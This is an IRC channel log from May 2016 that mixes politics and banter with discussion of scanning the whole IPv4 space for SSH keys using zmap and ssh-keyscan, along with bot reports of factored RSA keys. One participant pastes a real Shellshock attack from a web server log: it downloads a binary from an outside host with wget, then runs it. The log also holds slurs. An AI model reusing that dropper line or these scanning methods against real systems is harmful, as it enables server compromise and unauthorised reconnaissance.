01:15 |
mircea_popescu |
sure, sure. and why do i need to know how the gcc trick works. |
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02:16 |
deedbot |
[» Contravex: A blog by Pete Dushenski] Ben Hur - http://www.contravex.com/2016/05/21/ben-hur/ |
02:24 |
deedbot |
[Trilema] House of Strangers - http://trilema.com/2016/house-of-strangers/ |
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08:08 |
deedbot |
[Qntra] Ivanpah Solar Plant Sets Self On Fire - http://qntra.net/2016/05/ivanpah-solar-plant-sets-self-on-fire/ |
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09:44 |
Framedragger |
mircea_popescu: (got 2768 ssh-rsa keys on a test run on a populated /16... this will be fun.) |
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~ 1 hours 34 minutes ~ |
11:18 |
mircea_popescu |
win! |
11:31 |
mircea_popescu |
ahahaha BingoBoingo |
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11:48 |
mircea_popescu |
Framedragger how long did covering the /16 take ? |
11:57 |
asciilifeform |
one for mircea_popescu: https://gfycat.com/ThoughtfulShamelessChimpanzee |
11:57 |
Framedragger |
mircea_popescu: with timeout per host set to 5sec (default) and unaltered parallel scanning setting (ssh-keyscan does parallel stuff pretty well but it may not be best for scanning huge numbers of hosts; case in point: default version for ubuntu 14.04 terminates if a single remote host closes conn prematurely - needed to patch this..), it took ~65 minutes (i've started logging timestamps afterwards but this is prob quite accurate). this |
11:57 |
Framedragger |
this was using single machine only - scanning with two now, will add third one when i have a few min. but yeah it's overall slow i guess you could say |
11:58 |
Framedragger |
(irc msg maxlen is 512 chars right?) |
11:59 |
mircea_popescu |
ahahahaha nice. gord frw. |
11:59 |
mircea_popescu |
;;calc 2 ** 16 * 65 / 60 / 24 / 365 |
11:59 |
gribble |
8.10471841705 |
12:00 |
mircea_popescu |
8 years on a single machine. what were you running, aws ? |
12:00 |
Framedragger |
i'm considering running zmap on high-throughput server to quickly get all internet-connected machines in ipv4 space, and then feeding that into ssh-keyscan. may be more efficient. also need to get some disposable ip addresses or something, cause according to internet my coupla server IPs will soon be added to some shitlist |
12:00 |
mircea_popescu |
eh i got 100s. |
12:00 |
Framedragger |
no just a server with probably 50 mbps good uplink |
12:00 |
asciilifeform |
that there's the general minus of scanning |
12:01 |
Framedragger |
yeah i may set up some aws nodes |
12:01 |
asciilifeform |
the ip becomes ~useless for any other use |
12:01 |
mircea_popescu |
please do a different /16 on an aws just to get a handle on how much it costs. |
12:01 |
Framedragger |
k i'll try and do that (a bit later) |
12:01 |
mircea_popescu |
asciilifeform you know i don't understand, wtf aren't they making pastries this way! at first i thought that's dough on her tits for sure... but no, just paint ? |
12:01 |
asciilifeform |
that was my first thought ! |
12:01 |
mircea_popescu |
wtf what a waste. titpressed titcakes! wants! |
12:02 |
asciilifeform |
caeks! |
12:02 |
* |
Framedragger remembers he has a disposable tor exit node on digitalocean, can use that one |
12:02 |
mircea_popescu |
Framedragger tor is uselessly slow |
12:02 |
Framedragger |
nono, i just mean, i can just use that particular machine for dirty work, cause i can't use that ip for other purposes anyway, it's tainted |
12:02 |
Framedragger |
but yeah need to think of bigger scales here.. short-term aws/azure farms, whatnot |
12:04 |
mircea_popescu |
just to eval it. in general the zmap idea is right and proper. |
12:07 |
Framedragger |
"With [... some custom] changes, ZMap can comprehensively scan for a single TCP port across the entire public IPv4 address space [on a 10Gbps pipe, looks like] in 4.5 minutes given adequate upstream bandwidth." https://www.usenix.org/system/files/conference/woot14/woot14-adrian.pdf - not bad |
12:08 |
mircea_popescu |
aha. it's rapid yeah |
12:09 |
mircea_popescu |
the only problem is, i'd expect you will receive ~1/3 of the address space as hits. |
12:09 |
mircea_popescu |
billionish machines. |
12:09 |
Framedragger |
something something avoids having to take care of timeouts (is stateless) by putting custom info in packets / "SYN cookies" something |
12:10 |
Framedragger |
mewonders |
12:10 |
mircea_popescu |
check it out asciilifeform , there's not even as many computers as there are people and they're already beating us in go :D |
12:10 |
Framedragger |
someone published survey results |
12:10 |
asciilifeform |
lel |
12:10 |
mircea_popescu |
oppressed fucking minority. |
12:11 |
asciilifeform |
mircea_popescu: related lulz, http://www.theverge.com/circuitbreaker/2016/5/19/11716818/google-alphago-hardware-asic-chip-tensor-processor-unit-machine-learning << go asic |
12:11 |
Framedragger |
2012: http://internetcensus2012.bitbucket.org/paper.html |
12:11 |
Framedragger |
shitloads of webcams, "secure" printers etc (of course) |
12:12 |
mircea_popescu |
dun matter does it |
12:12 |
asciilifeform |
Framedragger: this is in the old logz |
12:12 |
Framedragger |
oh. figures... |
12:12 |
mircea_popescu |
lol |
12:12 |
Framedragger |
man i need some tool which autosearches from logs while i type in irc |
12:12 |
mircea_popescu |
write it! |
12:13 |
mircea_popescu |
not a bad idea either, as a plugin. |
12:13 |
asciilifeform |
a working $s would be almost as good |
12:13 |
mircea_popescu |
they're workin' on it. |
12:13 |
Framedragger |
wonder if whole log would become references to itself, il n'y a pas de hors-texte and all that |
12:13 |
Framedragger |
hm true... |
12:13 |
mircea_popescu |
Framedragger pretty much there already. |
12:14 |
Framedragger |
yah |
12:14 |
mircea_popescu |
it's just that the majority of computer folk are uncouth and didn't read their linguistics and semiology. |
12:14 |
mircea_popescu |
which is shameful, really, seeing how ITS THE OTHER FUCKING COMPILER. |
12:14 |
mircea_popescu |
pretending to have a cs program that's all linguistics-free seems to me the height of ignoramity, but whatevs. |
12:14 |
Framedragger |
yeah i can't hold interesting convos with these cs people for long sometimes, it's like, fuck you humanity you suck |
12:15 |
Framedragger |
no but for real. thing is, cs folk usually haven't even read their own "definitive" texts (shannon, e.g.) |
12:15 |
mircea_popescu |
yes, alf bitching about this is in the logs :) |
12:15 |
Framedragger |
... |
12:15 |
mircea_popescu |
lmao |
12:15 |
asciilifeform |
in what universe does it make sense to regard the imbeciles as 'cs folks' ? |
12:16 |
mircea_popescu |
asciilifeform hey, they got a cert. |
12:16 |
Framedragger |
well i did use "folks" which isn't a word from the most high register so to speak :) |
12:16 |
Framedragger |
butyeah |
12:16 |
asciilifeform |
what next, 14th c let's-treat-the-wound-with-shit idiot is 'doctor' ? |
12:16 |
mircea_popescu |
aha! |
12:16 |
Framedragger |
'the fucking witch deserved it' |
12:16 |
mircea_popescu |
part of the history of medicine, like it or not, mr progress. |
12:17 |
asciilifeform |
sure but if he lives today ? |
12:17 |
mircea_popescu |
but there is no yesterday of computing! |
12:17 |
mircea_popescu |
it all happened in a blink of a slow blinking eye! |
12:17 |
asciilifeform |
there was a pretty sharp transition from, e.g., mccarthy to jwz |
12:17 |
Framedragger |
you're still using $framework? GO BACK TO YER CAVE |
12:18 |
mircea_popescu |
slow blinking eye! |
12:18 |
asciilifeform |
more of a puckering sphincter |
12:22 |
mircea_popescu |
lmao omfg. dude published the 2012 census with a pgp (v2.0!) 1kb rsa key ; and he claims to be inspired by... XKCD!!! to do a fucking hilbert curve. omfg the unit-square covering discussions were all in vain, xkcd is the source. |
12:23 |
Framedragger |
didyouknow, someone wrote a graphing library which mimicks xkcd graph style. iirc it's actually quite nice, insofar as hipster things can be nice. shitlikethat... |
12:24 |
mircea_popescu |
obligatory http://trilema.com/xkcd |
12:24 |
Framedragger |
yeah seen it, heh |
12:25 |
mircea_popescu |
ah ? well then. |
12:26 |
Framedragger |
by all means, keep reinforcing the "nothing outside the text" notion ! but yeah, good to revisit |
12:26 |
Framedragger |
[dodges the "that's not the proper translation" discussion] |
12:26 |
mircea_popescu |
per the drunken walk model, once you're hitting sqrt(1) of references in cache you've read enough :D |
12:27 |
Framedragger |
hehehe |
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12:44 |
mircea_popescu |
and in other lulz, http://imgur.com/gallery/nbtVT |
12:45 |
* |
asciilifeform doesn't get it |
12:48 |
mircea_popescu |
psychotic face contortions |
12:49 |
asciilifeform |
in other nyooz, |
12:50 |
asciilifeform |
198.55.114.155 - - [21/May/2016:16:49:40 +0000] "GET / HTTP/1.1" 200 1101 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/ |
12:50 |
asciilifeform |
bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "-" |
12:51 |
mircea_popescu |
da fuck is this |
12:52 |
asciilifeform |
pretty obvious, neh ? |
12:52 |
asciilifeform |
the real mega-question is ~where~ this worx |
12:52 |
mircea_popescu |
no ? someone trying to pipe bash through apache ? |
12:52 |
asciilifeform |
aha |
12:53 |
mircea_popescu |
check it out, it's like 1990 in china. |
12:54 |
asciilifeform |
the lulzy bit is that the thing hosting the dropper is dead. |
12:54 |
mircea_popescu |
are youy calling it with wget ? |
12:54 |
asciilifeform |
curl |
12:54 |
mircea_popescu |
well, maybe it detects. |
12:55 |
asciilifeform |
wget same. |
12:55 |
mircea_popescu |
who the fuck uses wget instead of curl anyway, you know ? |
12:55 |
asciilifeform |
box is stone dead. |
12:55 |
mircea_popescu |
"here's the archive tool and here's the single url tool, i know, i'll use them backwards!" |
12:56 |
mircea_popescu |
for that matter, why's he not using pastebin or w/e. |
13:05 |
asciilifeform |
in other not-quite-fresh-nyooz, https://3.bp.blogspot.com/-jrApTQkrqY0/Vz8I5cEbM6I/AAAAAAAAeBI/RNtv0fXWF1EpXgL7KJL58KqSD_rtK1QiwCLcB/s1600/jingle.jpg |
13:06 |
mircea_popescu |
"safeauto's do the jingle makes insurance advertising fun" ? |
13:06 |
asciilifeform |
i have nfi |
13:07 |
mircea_popescu |
http://memecrunch.com/meme/35KRI/ford-owners-be-like/image.jpg |
13:14 |
Framedragger |
mircea_popescu: to get list of machines listening on port 22 using zmap on amazon aws micro instance with 100 mbps pipe, it takes approx 9-10 minutes per /16. note, only what's listening on port 22, but ssh-keyscan should then plough through pretty quickly. will later run more tests, i'll leave a single instance to scan some /16s to then feed into ssh-keyscan |
13:15 |
mircea_popescu |
yeah but what's the bill |
13:15 |
Framedragger |
i mean, i'm using some sort of free tier now, lols. should be cheap.. |
13:15 |
mircea_popescu |
ah cool then |
13:15 |
Framedragger |
i'll let you know once some data is gathered |
13:15 |
mircea_popescu |
that's what needed testing. |
13:15 |
Framedragger |
they'll start charging for bandwidth sooner or later |
13:15 |
Framedragger |
i understand |
13:16 |
Framedragger |
gon take some time to even start incurring cost tho |
13:16 |
mircea_popescu |
eh, nmap takes 50bytes/try or such |
13:17 |
mircea_popescu |
anyway, so if you spun up 1k aws micros the whole thing could be done in ~a day. |
13:17 |
Framedragger |
(ah it seems zmap's saturated the 100mbps pipe quite efficiently. yeah will let you know re. cost, prob sooner than expected heh) |
13:17 |
Framedragger |
fo sho |
13:18 |
mircea_popescu |
asciilifeform ^ see ? leverage increase. do this in 1996. |
13:25 |
asciilifeform |
if anything, it was ~more~ doable in '96, nobody ipbanned |
13:26 |
asciilifeform |
nor did the folks you got the t1 from give half a fuck what you did with it |
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13:49 |
mircea_popescu |
gawd you're hard. |
13:50 |
mircea_popescu |
this is like "it was way easier to do astronomy in 2016 bc, not nearly as much atmospheric pollution" "nor did anyone have any glass" "fu, i had glass!" |
14:03 |
asciilifeform |
moar like 1880. |
14:06 |
mircea_popescu |
re-reading durkeim it becomes obvious that a) omfg socialists everywhere, what the FUCK is it with this "we're all one" pov already! and b) being an anarchist is ~= being a bleating idiot ; what a man's supposed to be is an anomist. |
14:07 |
asciilifeform |
diff anarchist anomist ? |
14:07 |
mircea_popescu |
anarchist === socialist, with the added flavouring of putting the rejection of hierarchy socially above economically, politically or otherwise. |
14:08 |
asciilifeform |
on what planet ? |
14:08 |
asciilifeform |
how does one 'socialist' without statism |
14:08 |
mircea_popescu |
(the "peace movement"/"modern democracy" flavour puts the political one first, and is the more fashionable today. communism puts the economical first, as per ziggler & co. used to be most fashionable) |
14:08 |
mircea_popescu |
whereas anomist = one who rejects the regulatory role of society. |
14:08 |
mircea_popescu |
asciilifeform anarchists are not against statism per se. |
14:08 |
asciilifeform |
mircea_popescu must've read a very different set of anarchists than asciilifeform |
14:09 |
mircea_popescu |
they're against the "repressive" ie, educational state. but otherwise, the state must be there for anarchy to exist. |
14:09 |
mircea_popescu |
asciilifeform or maybe mircea_popescu reads beyond what people like to pretend they're saying into what they're actually saying! |
14:10 |
asciilifeform |
show me where 'the state must exist' in, e.g., kropotkin |
14:10 |
mircea_popescu |
any portion in particulare ? |
14:10 |
asciilifeform |
anywhere ! |
14:11 |
mircea_popescu |
what promotes the "voluntary cooperation" ? |
14:11 |
mircea_popescu |
suppose i dun wanna cooperate. what now ? |
14:11 |
asciilifeform |
live with wolf ? |
14:11 |
mircea_popescu |
kropotkin's necessary state is imported as this cvasi-mystical "all men must x y z and will so!" |
14:11 |
mircea_popescu |
"and if they don't ?" "uh." |
14:12 |
asciilifeform |
if they don't, they fight - where's the enigma here |
14:12 |
mircea_popescu |
well im no kropotkin specialist myself, but i'm unaware of him putting war as a legitimate human endeavour. |
14:13 |
mircea_popescu |
anyway, in the general - whenever ideologue makes presuposition as to what humans are, or do, or will be or will do, he's therefore and by that an etatist. |
14:13 |
asciilifeform |
i dun think war cared if anybody wrote it down as 'legitimate endeavour' or not |
14:13 |
mircea_popescu |
but we're discussing kropotkin the anarchist, not war the phenomenon. |
14:13 |
mircea_popescu |
unless your fellow said himself "and if they don't, they fight and whoever wins was right", he's what i say not what you say. |
14:14 |
asciilifeform |
not wholly unrelated though. being the reason we haven't any serious anarchic communes to kick around no moar, is that they're no good at war. |
14:14 |
mircea_popescu |
no, it's because they need a very specific sort of mommy that's yet in short supply. |
14:14 |
asciilifeform |
waiwut |
14:14 |
mircea_popescu |
there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked. |
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14:15 |
asciilifeform |
is this isomorphic to the swedish fishermen thing ? |
14:15 |
mircea_popescu |
ie, they need a sort of state like the wasp's parents. dead corpse to be eaten. still etatist though. |
14:15 |
mircea_popescu |
just, a different kind of state. |
14:15 |
asciilifeform |
how 'anarchic' was their flavour |
14:15 |
mircea_popescu |
it could well be, yeah. quite, neh ? |
14:16 |
asciilifeform |
not so much - their villages were miniature totalitarian monstrosities in themselves |
14:16 |
asciilifeform |
afaik |
14:16 |
mircea_popescu |
of course. socialism is socialism is socialism. |
14:16 |
mircea_popescu |
turd flavourer how it may be flavoured is turd by mass. |
14:18 |
mircea_popescu |
anyway, the trick of pretending one's own flavour of state is "merely human nature" is, i suppose, pretty effectual. also quite old, karl ziggler / friedrich carnegey did it too! |
14:19 |
mircea_popescu |
might have been zigg marx/dale engels, i always get obscure american self-help / weight loss / aluminum siding & friendmaking authors mixed up. |
14:27 |
mircea_popescu |
asciilifeform the trick, generally, of passing one for another is visible throughout the nigger career, whichever nigger one might pick. so kropotkin studied cooperation in nature ; which is fine, and observed that it plays a role, which is true. fuck, tmsr is pretty heavy on cooperation also. aaaaaaand then... the sleigh of hand. really, there should be no preferential distribution ? what the shit. and of course, the pious f |
14:27 |
mircea_popescu |
raud throughout - really, unsociable species are doomed to decay ? if only we decayed as much as the scorpions did in their lengthy existence. they've stayed viable apex predators in their niche for longer than humans likely will. |
14:28 |
Framedragger |
approx 4.2 GB of bandwidth used for 14.6k sshd-running IPs, hit rate ~= 0.02% (these are rather random, not guaranteed-to-be-used (only definitely not in reserved blocks) subnets it's possible zmap just doesn't flush to file that often at all - will check later wtf's happening). $0.155 per GB of bandwidth (first 15 GB free). running for 72 min |
14:29 |
mircea_popescu |
;;calc 2**32 / 14600 * 0.0002 * 4.2 * 0.155 |
14:29 |
gribble |
38.3016946534 |
14:29 |
mircea_popescu |
so forty bucks gets the internet, more or less. |
14:30 |
Framedragger |
when i was walking outside thinking of $ i got a similar figure in mind - lower bound maybe $30 and upper maybe $70, but prob $/GB rate was off in my mind |
14:30 |
Framedragger |
so yeah |
14:30 |
mircea_popescu |
alrightey |
14:31 |
* |
Framedragger will one day attempt to participate in such discussion, anomism, hmm... |
14:35 |
Framedragger |
(that zmap paper matches this estimate btw - 4.5min was it - 10gbps pipe - lessay 1GiB/s for 270sec => 270GiB; vs 2^32 / 14600 * 0.0002 * 4.2 = 247GiB) |
14:35 |
mircea_popescu |
word |
14:38 |
asciilifeform |
meanwhile, outside of my window, http://www.loper-os.org/pub/disapproval_cat.jpg |
14:49 |
mircea_popescu |
ahahaha |
14:49 |
mircea_popescu |
great cat lol |
14:49 |
mircea_popescu |
ima bbl. |
14:50 |
trinque |
asciilifeform │ if they don't, they fight - where's the enigma here << and then they fight, and someone wins, and someone's dominant, and whoops what happened to anarchy |
14:51 |
trinque |
that cat is wondering when you're going to stop tapping oddly on that desk and catch a damn bird |
14:51 |
trinque |
bet he's even brought you half-dead ones trying to teach! |
14:53 |
trinque |
Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using |
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14:53 |
trinque |
unlimited bandwidth can be had for $notmuch |
14:54 |
trinque |
homeboy over there has even hooked me up with free KVM access as a favor |
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15:31 |
asciilifeform |
trinque: cat is wild. |
15:32 |
jurov |
how the saying goes... early cat gets the bird |
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16:06 |
asciilifeform |
in other not-quite-nyooz, http://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html << some dissection of the swift trojan, as seen in the old thread, http://btcbase.org/log/2016-03-12#1430996 |
16:06 |
a111 |
Logged on 2016-03-12 00:40 mircea_popescu: (actually, amusingly enough, swift docs date from just about the era ada was fashionable. there was such a time - just like that time in the 90s when everyone was eager to implement linux-y things and you didn't really have to sell it at all, whole cities just switched for no reason) |
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17:47 |
shinohai |
https://twitter.com/HardBTC/status/734093829901541376 " |
17:47 |
shinohai |
Almost there, @StartJOIN pitch almost ready, an Open Source PGP digital Key signing tool that we're after funding to add new features" |
17:48 |
asciilifeform |
'PGP digital Key signing tool' ?? |
17:48 |
asciilifeform |
i can almost hear the indian accent |
17:49 |
shinohai |
lolz |
17:51 |
shinohai |
The advent of paywalled applications, where new features can only be added with crowdfunded blockchainz |
17:56 |
mircea_popescu |
asciilifeform speaking of anarchists, it occurs to me the comic you linked a while back is a fine example. the girl in there is an out and out anarchist. she requires, for her anarchism, the cartoonist to draw the nonsense she lives in ; or if out of meta, for someone to create all the items she uses and then stay out of her way. |
17:56 |
mircea_popescu |
by and large, anarchism is this aspiration to absentee parents. |
17:56 |
asciilifeform |
wai which |
17:56 |
mircea_popescu |
some murderer for hire something |
17:57 |
asciilifeform |
ah, 'captain estar' |
17:57 |
mircea_popescu |
living in a thoroughly alienated world where hit targets were SO ALONE they actually were you know, a sort of crumb. |
17:57 |
asciilifeform |
but ~all cartoon characters can only live in the paper |
17:57 |
asciilifeform |
sorta what makes it what it is, neh? |
17:58 |
mircea_popescu |
yes, but some are more like superman, ie, roosevelt socialist ; and some others more like national socialist. |
17:58 |
mircea_popescu |
this is anarchist-socialist. |
17:58 |
asciilifeform |
here is the question that itches me: |
17:58 |
asciilifeform |
how cheap the energy before it is 'socialist herring' ? |
17:59 |
asciilifeform |
as in http://btcbase.org/log/2016-05-21#1470228 |
17:59 |
a111 |
Logged on 2016-05-21 18:14 mircea_popescu: there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked. |
17:59 |
mircea_popescu |
i dun think it is a matter of energy. |
17:59 |
asciilifeform |
how does '1m people, 2m collapsed wallmarts' differ from 'put shit in the ground and let the sun do the work' ? |
17:59 |
asciilifeform |
or 'throw rock at deer and eat phreeee meat' |
17:59 |
mircea_popescu |
see, here's the catch : the value of walmart today. |
18:00 |
asciilifeform |
seems like a difference of degree |
18:00 |
asciilifeform |
rather than kind |
18:00 |
mircea_popescu |
after a generation of that, the value of walmart would equalize and we'd have a rehash of actual society. |
18:00 |
mircea_popescu |
socialism is the equivalent of grain : may only exist after cataclysm. |
18:00 |
asciilifeform |
equalize as in, spent ? |
18:00 |
mircea_popescu |
as in "no longer socially meaningful" |
18:00 |
mircea_popescu |
like jeans in russia. who's gonna suck your cock for a pair now? |
18:00 |
asciilifeform |
so - spent |
18:01 |
mircea_popescu |
in that sense, yes. not physically spent, but psychologically spent |
18:01 |
asciilifeform |
so mircea_popescu is of ye olde 'banana makes africans stupid' school ? |
18:01 |
mircea_popescu |
yes. |
18:01 |
asciilifeform |
as in, 'too cheap to meter' (tm) (r) morally corroding. |
18:02 |
mircea_popescu |
note that the higher energy output of rice vs wheat has created ... larger azn cities. that's all. |
18:02 |
mircea_popescu |
population grows, technology does not. |
18:03 |
asciilifeform |
iirc we actually have pretty good records of cn ~prior to rice~ |
18:03 |
asciilifeform |
but i have nfi what is in them. |
18:03 |
mircea_popescu |
sure. |
18:07 |
mircea_popescu |
so to come full circle : the items of interest in (the otherwise very on point) question "how cheap energy before it is scania herring" are cheap and herring ; not energy - that is always as cheaper as it always is, slightly more expensive as newton's death approaches. |
18:07 |
mircea_popescu |
the social notion of cheapness and the individual notion of herring however fluctuate. |
18:08 |
asciilifeform |
elaborate plox ? |
18:09 |
asciilifeform |
the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar |
18:09 |
mircea_popescu |
the tsar impedance mismatch created communism, ie, eco-first socialism ; the ww1 shock created national-socialism, ie, "we're all equal except for those schmucks" - and perhaps noteworthy here that the nazis couldn't quite decide if they're enumerating badness or goodness or what. but the idea was, "socialism within the bubble" |
18:09 |
asciilifeform |
and 'humans are every bit as stupid as bacteria" |
18:10 |
mircea_popescu |
and the moore law (pars pro toto, it's really starting with steel) catastrophe created the roosevelt socialism, aka "modern democracy" / "human rights" / "peace movement" etc. |
18:10 |
mircea_popescu |
but outside of catastrophe, socialism fares as well as wheat. birch forest is the stable solution, not fucking wheat field. |
18:11 |
asciilifeform |
birch is terrible example |
18:11 |
asciilifeform |
it is the closest thing to wheat among trees |
18:11 |
mircea_popescu |
which is why the state-volcano, or state-plow or state-something is always needed |
18:11 |
asciilifeform |
hence why ru is full of'em |
18:11 |
mircea_popescu |
beech not birch. wtf is it called. |
18:11 |
* |
mircea_popescu off to review botanics now |
18:11 |
asciilifeform |
where the villages burned - there are now birches. |
18:12 |
asciilifeform |
(in western eu - poppies) |
18:12 |
asciilifeform |
this is a fairly broad category |
18:14 |
mircea_popescu |
fagus. beech. |
18:14 |
mircea_popescu |
varies with the zone, but anyway. |
18:16 |
asciilifeform |
thing about nature is that nobody promised anyone a single equilibrium point |
18:17 |
asciilifeform |
beech can stand for 1,001 years, or burn overnight. |
18:17 |
asciilifeform |
if gets lucky. |
18:17 |
mircea_popescu |
BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. |
18:17 |
mircea_popescu |
fucking derps using my first name. to quote, "have we fucked ?" |
18:18 |
mircea_popescu |
asciilifeform and once it burns, blueberry move in, then birch, then beech again. |
18:18 |
mircea_popescu |
birch seed can not grow under the shade of adult birch trees. beech seed can. that's all the difference. |
18:18 |
mircea_popescu |
socialist spawn can't fucking live in socialist world, c'est tout. |
18:28 |
asciilifeform |
mircea_popescu: https://geektimes.ru/post/269914 << re where 'elbrus' went. |
18:29 |
asciilifeform |
most pertinently, 'Получается в лучших традициях Советского Союза: машина есть, цена есть, купить нельзя.' |
18:29 |
mircea_popescu |
lol |
18:30 |
asciilifeform |
https://geektimes.ru/post/270382 << someone actually dug up, reviewed |
18:30 |
mircea_popescu |
well... maybe in time. |
18:31 |
asciilifeform |
megatonnes of old-school 'seals', 'tamper' whatevrthefucks |
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19:31 |
shinohai |
https://steemit.com/girlsgonesteem-nsfw/@steempower/welcome-to-girls-gone-steem#comments <<< the logo even looks like a turd. "steem" |
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19:38 |
asciilifeform |
;;later tell mircea_popescu growing 8ball installed. it will take several days for it to exceed the size of the old 8ball tho. however, it auto-saves and resumes in case of reboot, etc. |
19:38 |
gribble |
The operation succeeded. |
19:46 |
BingoBoingo |
<mircea_popescu> BingoBoingo http://dpaste.com/1ZY126A dunno if worth your time, but anyway. << If they wanna write the steps are available. Dun see the point of the kink exchange |
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20:04 |
shinohai |
;;isup sdf.org |
20:04 |
gribble |
sdf.org is down |
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20:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Lukas D. Jacobs <ich@lukasjacobs.de>; Lukas D. Jacobs <pirat@lukasjacobs.de>; Lukas David Jacobs <ich@lukasjacobs.de>; Lukas David Jacobs <pirat@lukasjacobs.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/65E4BA4A1435AACB51DC0C86175C626CFA97D3E9E4299439764DEE43C97FD18D |
20:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Apple Product Security <product-security@apple.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/01242DCED832B429633FEE0CE9B056C695BBF80CA513619A2CA3AA895AC4735F |
20:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Piraten | Martin Letzel <piratenpartei@letzel.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/1CCC37C88F16286BE08BD15EF9EBAD67F10A9165B5CED6989EEE64FA7C644356 |
20:26 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Robert L. Vaessen (MobileMe key generated with gpg) <rvaessen@me.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/F7ED43E91BC7980A082F3EF866B2FB785952BDCB758707BCB2E0F3EBEE519145 |
20:31 |
Framedragger |
"<product-security@apple.com>" hah!! |
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20:31 |
Framedragger |
seems that their current key is different fwiw: https://www.apple.com/support/security/pgp/ ? |
20:33 |
Framedragger |
http://btcbase.org/log/2016-05-21#1470259 << that's nice, thanks trinque - are they able to provide near-100mbps for their cheapo VPSs? |
20:33 |
a111 |
Logged on 2016-05-21 18:53 trinque: Framedragger: if you get tired of aws, there's this cheap-as-shit DC called Joe's Datacenter I've been using |
20:34 |
deedbot |
[Recent Phuctorings.] Phuctored: 3 divides RSA Moduli belonging to 'FAKE: key generation test; ' - http://phuctor.nosuchlabs.com/gpgkey/0A8E8A26D309CBC4A73BD31E3D6C6AE49AB443FA58E2A9A823BAA868189AB6A5 |
20:37 |
Framedragger |
^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason) |
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20:37 |
BingoBoingo |
https://images.encyclopediadramatica.se/thumb/0/0a/LaciBra2.jpg/1024px-LaciBra2.jpg |
20:46 |
asciilifeform |
;;later tell mircea_popescu perhaps we should only print update here when a previously-unphuctored modulus pops? who even cares when old turds break into finer rubble..? |
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20:46 |
gribble |
The operation succeeded. |
20:48 |
asciilifeform |
http://btcbase.org/log/2016-05-22#1470355 << there was a set of entirely phony keys, built via a certain algo, by an unknown 3rd party long ago. see logz. |
20:48 |
a111 |
Logged on 2016-05-22 00:37 Framedragger: ^ re. product-security@apple.com's key, or is that some broken sub-key of the master key, or somesuch? (broken 'cause of the "Modulus has mirrored low-order 32 bits !", for whatever original cause/reason) |
20:49 |
Framedragger |
ah ok thanks for the explanation! more logs.... :) |
20:49 |
Framedragger |
$s test |
20:49 |
Framedragger |
oh it doesn't do that |
20:52 |
asciilifeform |
;;later tell phf your search box is not grep-compatible. srlsy for fucks sake i can't search for '3 divides' without getting a pile of rubbish |
20:52 |
gribble |
The operation succeeded. |
20:53 |
asciilifeform |
'here is a meg of lines with '3' and 'divides' in'em' is WORTHLESS |
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20:53 |
asciilifeform |
what works this way and where???! |
20:53 |
asciilifeform |
other than shitoogle |
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21:18 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Christian Busch <chris@debilux.org>; Christian Busch (Jabber) <chris@im.debilux.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/07FA12843E0B7B875AA7899C3556B1B21140858AF13AB151E34860070003997E |
21:18 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Stephen Domorod III (Stephen at Domorod dot Org) <stephen@domorod.org>; ' - http://phuctor.nosuchlabs.com/gpgkey/CD894142C4313393598D2A7B35E2A61D9CD4C6ACC0214D508203C9CDA8A65195 |
21:20 |
Framedragger |
..hrm. zmap finished scanning sixteen /8's (so a sixteenth of ipv4 space, minus reserved blocks), but in those blocks there were two known servers running openssh which was picked up by ssh-keyscan. they weren't picked up by zmap. if the thing is unreliable then it's worthless (it still found > 95k of ssh servers though, but...) |
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21:27 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Martin M. Stoppler <martin@stoppler.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/41C3308E5F375899710919E1484F78A1DC042B81EDDC432F38F75D4BDA9B29FC |
21:27 |
deedbot |
[Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Charly Avital(RSA4096) <shavital@mac.com>; Charly Avital (RSA-AES256) <shavital@netbox.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/29D4AB4C1D200C86FB06AB27CA9C38448622E11D3107C3A23E06C538C85B2CD0 |
21:27 |
deedbot |
